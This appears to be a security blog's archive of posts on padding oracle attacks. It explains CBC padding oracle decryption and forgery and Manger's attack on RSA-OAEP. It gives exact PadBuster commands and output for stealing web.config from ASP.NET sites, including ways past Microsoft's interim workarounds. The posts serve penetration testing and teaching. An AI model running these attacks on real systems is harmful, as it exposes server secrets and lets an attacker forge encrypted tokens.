Twitter

Entries in Padding Oracle (5)

Thursday
Jun162011

OWASP NYC Slides Posted

The deck from my recent OWASP session has been posted.

The discussion focused on identifying and exploiting Padding Oracles in custom web applications, and walked through specifics on how to use PadBuster in a variety of common scenarios. Hopefully those using PadBuster will find the second half of the deck a useful reference.

Thursday
Jun022011

Beyond Padding Oracle - Manger's Oracle and RSA OAEP Padding

Several months ago I was looking at the proceedings from #days 2010 and read Pascal Junod's slides Open-Source Cryptographic Libraries and Embedded Platforms. In them, he mentioned James Manger's attack on RSA OAEP, a padding scheme first defined in PKCS #1 v2.0. I hadn't heard of it before, and it interested me enough to investigate. (The paper is available via Google or ACM if you're a member.)

The basics of the attack are similar to the Padding Oracle attack in that a small piece of information is exposed via error messages and doing some clever math you can use that to retrieve the plaintext from the ciphertext. After the ciphertext is decrypted, the OAEP decoding process begins. The decrypted plaintext is supposed to fit in one less byte than the maximum size of the ciphertext. If the plaintext does not have a 00 in the highest byte, the ciphertext is considered to have been tampered with and an error is returned. Because of the properties of RSA, you can directly influence the plaintext p by multiplying the ciphertext c by xe mod n - where e is the exponent from the public key, n the modulus, and x the arbitrary number you want to multiply the plaintext by. This will produce a plaintext p*x mod n after decryption.

Manger's Oracle relies on manipulating the plaintext and detecting when it has overflowed into the highest byte. Using a method reminiscent of binary search, the possible values of the plaintext are narrowed down until only one remains - allowing recovery of the plaintext from the ciphertext. The number of oracle queries needed depends on keysize; for 1024, it's around 1200.

I checked the popular implementations of RSA-OAEP and found none of them vulnerable to Manger's Oracle. OpenSSL specifically protects against it, calling Manger out by name in the comments. BouncyCastle and the .NET implementation were secure because they didn't throw an error if the first byte was non-zero (probably on the assumption that another part of OAEP, the hash, wouldn't match). Libgcrypt didn't implement RSA-OAEP - a patch had been provided a few years ago, but it was never merged... until a few weeks ago when it was committed to trunk.

The new code wasn't actually directly vulnerable - the same error code was returned no matter the type of error that occurred. Regardless, I decided this would be a fun exercise and set about implementing the attack. I got it working; but only after editing the source of libgcrypt to 'cheat', providing my own oracle. I managed to find a mistake in the original paper too, a floor() that should have been a ceil() - detailed in the code linked later.

Since I modified the libgcrypt code to provide an oracle, it was an overly contrived example, but it seemed like it might be possible to exploit it using a timing attack. After measuring and graphing the differences between the two cases, I saw you could determine the error from timing information - so long as you looked at the percentiles over a sufficient number of trials, as shown below. It isn't 100% reliable, but I was able to get a working proof of concept going with just timing information.

Timing Comparison
Left two box plots show the longer execution time, right two show the shorter.

I've published the code to exploit the oracle in a contrived case, and included the code and steps to demonstrate the timing differential. The code is on github, and as far as I know, this is the only public implementation of Manger's Oracle. (Although apparently it is assigned as homework somewhere...)

"OAEP Padding" is indeed an example of RAS Syndrome

Monday
Oct042010

PadBuster v0.3 and the .NET Padding Oracle Attack


Now that a weekend has passed since the .NET patch was released, and since there is already a working public example of how to reliably download a web.config using the padding oracle attack, we have decided to finally release v0.3 of PadBuster with the "Brute Force" option. This option is specifically designed to handle scenarios where the first block of ciphertext cannot be crafted using CBC-R due to a secret IV. This feature was NOT designed specifically for the .NET attack, as our intention for PadBuster is to be a universal tool for identifying and exploiting padding oracles in any web application. That being said, the brute force option CAN be used to reliably perform a web.config download attack within a reasonable number of requests.

Before discussing how to perform this attack using PadBuster, and some of the other new features in this version, it's worth noting that there are more efficient ways to perform the web.config download attack using ScriptResource.axd. The T-Block brute force attack vector, which was originally pointed out to me by James Martin of ESP Technologies and is also discussed here by Giorgio Fedon of Minded Security, is significantly faster and more efficient. This technique, however, is pretty specific to the .NET ScriptResource.axd attack and as such is not likely to be incorporated into PadBuster (a separate exploit script is probably warranted). 

The web.config attack using PadBuster is essentially a three step process. I will assume that the reader is already familiar with the specifics of why the script resource handler is vulnerable to a file download attack. If you are not familiar with the underlying issue, you can read about it here, here and here.

Step 1: Encrypt the Payload using CBC-R

The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:

1 - Using WebResource.axd as a padding oracle for CBC-R.

If CustomErrors are NOT enabled, then you don't even need a valid ciphertext sample to exploit the oracle...you can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2).

padBuster.pl http://www.myapp.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2 
AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you'll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request. 

padBuster.pl http://www.myapp.com/WebResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 
1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"
-prefix 1s45vAJre3GVd98iQoAjgQ2

2 - Using ScriptResource.axd as a padding oracle for CBC-R. 

Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 
1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommended before the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I'll come back to that in a bit.

Step 2: Verify the encrypted payload does NOT include pipes

This step is optional, but certainly worth performing to ensure that you aren't headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the "garbage" IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of "iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1", then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in. 

padBuster.pl http://www.myapp.com/WebResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAA
AAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv

So what if your payload DOES include pipes? Not to fear, there's an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.

Step 3: Brute force the first block

Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can't use the padding oracle to reliably produce our desired first block. 

The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values. 

The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAA
AAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

PadBuster's brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from...which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you'll have more than one as shown below.

INFO: Starting PadBuster Brute Force Mode
[+] Starting response analysis...

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 337 N/A
2 ** 255 404 1524 N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You'll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output) 

Attempt 4275 - Status: 200 - Content Length: 367
http://www.myapp.com/ScriptResource.axd?d=igA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4561 - Status: 200 - Content Length: 360
http://www.myapp.com/ScriptResource.axd?d=4AA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4792 - Status: 200 - Content Length: 100277
http://www.myapp.com/ScriptResource.axd?d=xwA5AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 5353 - Status: 200 - Content Length: 359
http://www.myapp.com/ScriptResource.axd?d=BAA6AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length...this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.

You may also have noticed that our original command made use of another new option (-log). The "log" option tells PadBuster to log various output files in an automatically generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created. 

Bypassing the Workarounds

Now that you've seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing the recommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you'll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component...most easily from the WebResource.axd query string). 

Step 1: Find a valid T-Block Request

Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid "d" value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750).

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysene
t6VGS94Ord8gQ2 16 -encoding 3 -bruteforce

Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:

Attempt 60 - Status: 200 - Content Length: 337
http://www.myapp.com/ScriptResource.axd?d=OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

Step 2: Use the obtained T-Block with the -prefix option

Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below.

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysene
t6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

The examples above hopefully demonstrate how to use the new features of PadBuster for performing various exploits against the .NET framework. Our plan is to add more features to PadBuster where they make sense, specifically features that can be useful in against a wide variety of padding oracle attack vectors. As always, send us your feedback, modifications, bug reports, or general comments so that we can incorporate them into future versions.

Tuesday
Sep282010

New Version of PadBuster Available for Download

A few weeks ago we released PadBuster, a tool for automating padding oracle exploits. Today we have released version 0.2, which includes some bug fixes and a few enhancements that are summarized below:

  • Support for HTTP Basic Authentication and HTTP/S Proxies
  • Encoding for .NET UrlTokens (essentially a web-safe Base64 encoding)
  • Logic for handling samples that do not include an IV (or use a NULL IV)

The .NET UrlToken encoding and NULL IV options are both especially useful when running PadBuster against sites that are vulnerable to the recent .NET Padding Oracle attack. There are also new options for running the tool in interactive mode (good for troubleshooting) and resuming a previous decryption in the event that the script gets killed in the middle of decrypting a large sample.

As with the previous version, feel free to provide feedback on potential improvements you would like to see. Version 0.3 is already in the works and promises to have more cool features.

Tuesday
Sep142010

Automated Padding Oracle Attacks with PadBuster

There’s been a lot of buzz recently about Padding Oracle Attacks, an attack vector demonstrated by Juliano Rizzo and Thai Duong during their presentation at BlackHat Europe earlier this summer. While padding oracles are relatively easy to exploit, the act of exploiting them can be time consuming if you don’t have a good way of automating the attack. The lack of good tools for identifying and exploiting padding oracles led us to develop our own internal padding oracle exploit script, PadBuster, which we’ve decided to share with the community. The tool can be downloaded here, but I’ll spend a little bit of time discussing how the tool works and the various use cases it supports.

Update 9/28/10: PadBuster v0.2 has been released.

Some Background

Before we discuss using PadBuster, let’s briefly discuss the fundamentals of a classic padding oracle attack. As the term implies, a critical concept behind a padding oracle attack is the notion of cryptographic padding. Plaintext messages come in a variety of lengths; however, block ciphers require that all messages be an exact number of blocks. To satisfy this requirement, padding is used to ensure that a given plaintext message can always be divided into an exact number of blocks.

While several padding schemes exist, one of the most common padding schemes is described in the PKCS#5 standard. With PCKS#5 padding, the final block of plaintext is padded with N bytes (depending on the length of the last plaintext block) of value N. This is best illustrated through the examples below, which show words of varying length (FIG, BANANA, AVOCADO, PLANTAIN, PASSIONFRUIT) and how they would be padded using PKCS#5 padding (the examples below use 8-byte blocks).

Click to Enlarge


Note that at least one padding byte is ALWAYS appended to the end of a string, so a 7-byte value (like AVOCADO) would be padded with 0x01 to fill the block, while an 8-byte value (like PLANTAIN) would have a full block of padding added to it. The value of the padding byte also indicates the number of bytes, so logically final value(s) at the end of the last block of ciphertext must either:

  • A single 0x01 byte (0x01)
  • Two 0x02 bytes (0x02, 0x02)
  • Three 0x03 bytes (0x03, 0x03, 0x03)
  • Four 0x04 bytes (0x04, 0x04, 0x04, 0x04)
  • ...and so on

If the final decrypted block does not end in one of these valid byte sequences, most cryptographic providers will throw an invalid padding exception. The fact that this exception gets thrown is critical for the attacker (us) as it is the basis of the padding oracle attack.

A Basic Padding Oracle Attack Scenario

To provide a concrete example, consider the following scenario:

An application uses a query string parameter to pass the encrypted username, company id, and role id of a user. The parameter is encrypted using CBC mode, and each value uses a unique initialization vector (IV) which is pre-pended to the ciphertext.

When the application is passed an encrypted value, it responds in one of three ways:

  • When a valid ciphertext is received (one that is properly padded and contains valid data) the application responds normally (200 OK)
  • When an invalid ciphertext is received (one that, when decrypted, does not end with valid padding) the application throws a cryptographic exception (500 Internal Server Error)
  • When a valid ciphertext is received (one that is properly padded) but decrypts to an invalid value, the application displays a custom error message (200 OK)

The scenario described above is a classic Padding Oracle, because we can use the behavior of the application to easily determine whether the supplied encrypted value is properly padded or not. The term oracle refers to a mechanism that can be used to determine whether a test has passed or failed.

Now that the scenario has been laid out, let’s take a look at one of the encrypted parameters used by the application. This parameter is used by the application to store a semi-colon delimited series of values that, in our example, include the user’s name (BRIAN), company id (12), and role id (2). The value, in plaintext, can be represented as BRIAN;12;2;. A sample of the encrypted query string parameter is shown below for reference. Note that the encrypted UID parameter value is encoded using ASCII Hex representation.

 

http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

At this point, an attacker would not have any idea what the underlying plaintext is, but for the sake of this example, we already know the plaintext value, the padded plaintext value, and the encrypted value (see diagram below). As we mentioned previously, the initialization vector is pre-pended to the ciphertext, so the first block of 8 bytes is just that.



As for the block size, an attacker would see that the length of the encrypted ciphertext is 24 bytes. Since this number is evenly divisible by 8 and not divisible by 16, one can conclude that you are dealing with a block size of 8 bytes. Now, for reference take a look at what happens internally when this value is encrypted and decrypted. We see the process byte-for-byte in the diagram as this information will be helpful later on when discussing the exploit. Also note that the circled plus sign represents the XOR function.

Encryption Diagram (Click to Enlarge):


Decryption Diagram (Click to Enlarge):

It is also worthwhile to point out that the last block (Block 2 of 2), when decrypted, ends in a proper padding sequence as expected. If this were not the case, the cryptographic provider would throw an invalid padding exception.

The Padding Oracle Decryption Exploit

Let’s now look at how we can decrypt the value by using the padding oracle attack. We operate on a single encrypted block at a time, so we can start by isolating just the first block of ciphertext (the one following the IV) and sending it to the application pre-pended with an IV of all NULL values. The URL and associated response are shown below:

 

Request:  http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response:  500 - Internal Server Error

A 500 error response makes sense given that this value is not likely to result in anything valid when decrypted. The diagram below shows a closer look at what happens underneath the covers when the application attempts to decrypt this value. You should note that since we are only dealing with a single block of ciphertext (Block 1 of 1), the block MUST end with valid padding in order to avoid an invalid padding exception.

As shown above, the exception is thrown because the block does not end with a valid padding sequence once decrypted. Now, let’s take a look at what happens when we send the exact same value but with the last byte of the initialization vector incremented by one.

 

Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537
Response: 500 - Internal Server Error

Like before, we also get a 500 exception. This is due to the fact that, like before, the value does not end in a valid padding sequence when decrypted. The difference however, is that if we take a closer look at what happens underneath the covers we will see that the final byte value is different than before (0x3C rather than 0x3D).

If we repeatedly issue the same request and increment just the last byte in the IV each time (up to FF) we will inevitably hit a value that produces a valid padding sequence for a single byte of padding (0x01). Only one value (out of the possible 256 different bytes) will produce the correct padding byte of 0x01. When you hit this value, you should end up with a different response than the other 255 requests.

 

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK

Let’s take a look at the same diagram to see what happens this time.

Given this is the case, we can now deduce the intermediary value byte at this position since we know that when XORed with 0x3C, it produces 0x01.

If [Intermediary Byte] ^ 0x3C == 0x01,
then [Intermediary Byte] == 0x3C ^ 0x01,
so [Intermediary Byte] == 0x3D

Taking this one step further, now that we know the intermediary byte value we can deduce what the actual decrypted value is. You'll recall that during the decryption process, each intermediary value byte is XORed with the corresponding byte of the previous block of ciphertext (or the IV in the case of the first block). Since the example above is using the first block from the original sample, then we need to XOR this value with the corresponding byte from the original IV (0x0F) to recover the actual plaintext value. As expected, this gives us 0x32, which is the number "2" (the last plaintext byte in the first block).

Now that we’ve decrypted the 8th byte of the sample block, it’s time to move onto the 7th byte. In order to crack the 8th byte of the sample, we brute forced an IV byte that would produce a last decrypted byte value of 0x01 (valid padding). In order to crack the 7th byte, we need to do the same thing, but this time both the 7th and 8th byte must equal 0x02 (again, valid padding). Since we already know that the last intermediary value byte is 0x3D, we can update the 8th IV byte to 0x3F (which will produce 0x02) and then focus on brute forcing the 7th byte (starting with 0x00 and working our way up through 0xFF).

Once again, we continue to generate padding exceptions until we hit the only value which produces a 7th decrypted byte value of 0x02 (valid padding), which in this case is 0x24.



Using this technique, we can work our way backwards through the entire block until every byte of the intermediary value is cracked, essentially giving us access to the decrypted value (albeit one byte at a time). The final byte is cracked using an IV that produces an entire block of just padding (0x08) as shown below.

The Decryption Exploit with PadBuster

Now let’s discuss how to use PadBuster to perform this exploit, which is fairly straightforward. PadBuster takes three mandatory arguments:

  • URL - This is the URL that you want to exploit, including query string if present. There are optional switches to supply POST data (-post) and Cookies if needed (-cookies)
  • Encrypted Sample - This is the encrypted sample of ciphertext included in the request. This value must also be present in either the URL, post or cookie values and will be replaced automatically on every test request
  • Block Size - Size of the block that the cipher is using. This will normally be either 8 or 16, so if you are not sure you can try both

For this example, we will also use the command switch to specify how the encrypted sample is encoded. By default PadBuster assumes that the sample is Base64 encoded, however in this example the encrypted text is encoded as an uppercase ASCII HEX string. The option for specifying encoding (-encoding) takes one of the following three possible values:

  • 0: Base64 (default)
  • 1: Lowercase HEX ASCII
  • 2: Uppercase HEX ASCII

The actual command we run will look like the following:

 

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Notice that we never told PadBuster how to recognize a padding error. While there is a command line option (-error) to specify the padding error message, by default PadBuster will analyze the entire first cycle (0-256) of test responses and prompt the user to choose which response pattern matches the padding exception. Typically the padding exception occurs on all but one of the initial test requests, so in most cases there will only be two response patterns to choose from as shown below (and PadBuster will suggest which one to use).



The initial output from PadBuster is shown in the screenshot above. You’ll see that PadBuster re-issues the original request and shows the generated response information before starting its testing. This is useful for authenticated applications to ensure that the authentication cookies provided to PadBuster are working correctly.

Once a response pattern is selected, PadBuster will automatically cycle through each block and brute force each corresponding plaintext byte which will take, at most, 256 requests per byte. After each block, PadBuster will also display the obtained intermediary byte values along with the calculated plaintext. The intermediary values can be useful when performing arbitrary encryption exploits as we will show in the next section.

Encrypting Arbitrary Values

We've just seen how a padding oracle and PadBuster can be used to decrypt the contents of any encrypted sample one block at a time. Now, let’s take a look at how you can encrypt arbitrary payloads using the same vulnerability.

You have probably noticed that once we are able to deduce the intermediary value for a given ciphertext block, we can manipulate the IV value in order to have complete control over the value that the ciphertext is decrypted to. So in the previous example of the first ciphertext block that we brute forced, if you want the block to decrypt to a value of "TEST" you can calculate the required IV needed to produce this value by XORing the desired plaintext against the intermediary value. So the string "TEST" (padded with four 0x04 bytes, of course) would be XORed against the intermediary value to produce the needed IV of 0x6D, 0x36, 0x70, 0x76, 0x03, 0x6E, 0x22, 0x39.

This works great for a single block, but what if we want to generate an arbitrary value that is more than one block long? Let’s look at a real example to make it easier to follow. This time we will generate the encrypted string "ENCRYPT TEST" instead of just "TEST". The first step is to break the sample into blocks and add the necessary padding as shown below:

When constructing more than a single block, we actually start with the last block and move backwards to generate a valid ciphertext. In this example, the last block is the same before, so we already know that the following IV and ciphertext will produce the string "TEST".

 

Request:  http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537

Next, we need to figure out what intermediary value 6D367076036E2239 would decrypt to if it were passed as ciphertext instead of just an IV. We can do this by using the same technique used in the decryption exploit by sending it as the ciphertext block and starting our brute force attack with all nulls.

 

Request:  http://sampleapp/home.jsp?UID=00000000000000006D367076036E2239

Once we brute force the intermediary value, the IV can be manipulated to produce whatever text we want. The new IV can then be pre-pended to the previous sample, which produces the valid two-block ciphertext of our choice. This process can be repeated an unlimited number of times to encrypt data of any length.

Encrypting Arbitrary Values with PadBuster

PadBuster has the option to automate the process of creating arbitrary encrypted values in addition to decrypting them. There are three command line switches related to creating ciphertexts:

  • -plaintext [String]: plaintext to EncryptThis is the plaintext you want to encrypt. This option is mandatory when using PadBuster to encrypt data, and its presence is what tells PadBuster to perform encryption instead of decryption
  • -ciphertext [Bytes]: CipherText for Intermediary Bytes (Hex-Encoded)Optional - can be used to provide the starting ciphertext block for encryption. This option must be used in conjunction with the -intermediary option (see below)
  • -intermediary [Bytes]: Intermediary Bytes for CipherText (Hex-Encoded)Optional - can be used to provide the corresponding intermediary byte values for the cipher text specified with the -ciphertext option.

The purpose of the -ciphertext and -intermediary options is to speed up the exploit process as it reduces the number of ciphertext blocks that must be cracked when generating a forged ciphertext sample. If these options are not provided, PadBuster will start from scratch and brute force all of the necessary blocks for encryption. Let’s take a look at the actual command syntax used to encrypt data with PadBuster:

 

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext "ENCRYPT TEST"

The output from PadBuster is shown in the screenshot below:

You’ll notice that just like before, PadBuster will first ask you to choose the correct padding error response signature. This step can be skipped if you manually specify the padding error message using the -error option. Also notice that PadBuster performed a brute force of both full ciphertext blocks, because we didn’t specify a starting ciphertext block and associated intermediary value to use. If we had provided these values to PadBuster, the first block would have been calculated instantly and only the second block would require brute force as shown below.

 

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext "ENCRYPT TEST"
-ciphertext F851D6CC68FC9537 -intermediary 39732322076A263D

As you can see, the first block (Block 2) was calculated before prompting for the response signature since this block was calculated using just the data provided with the -ciphertext and -intermediary options. If you are wondering where these two values came from, remember that PadBuster prints these two values to the screen at the conclusion of each round of block processing.

So to wrap things up, we are releasing PadBuster because we think that other pen testers can benefit from a flexible exploit script for detecting and exploit padding oracles. We would be interested in hearing if there are other features that would make the tool more useful or practical from a tester’s perspective, so let us know if you have any feedback.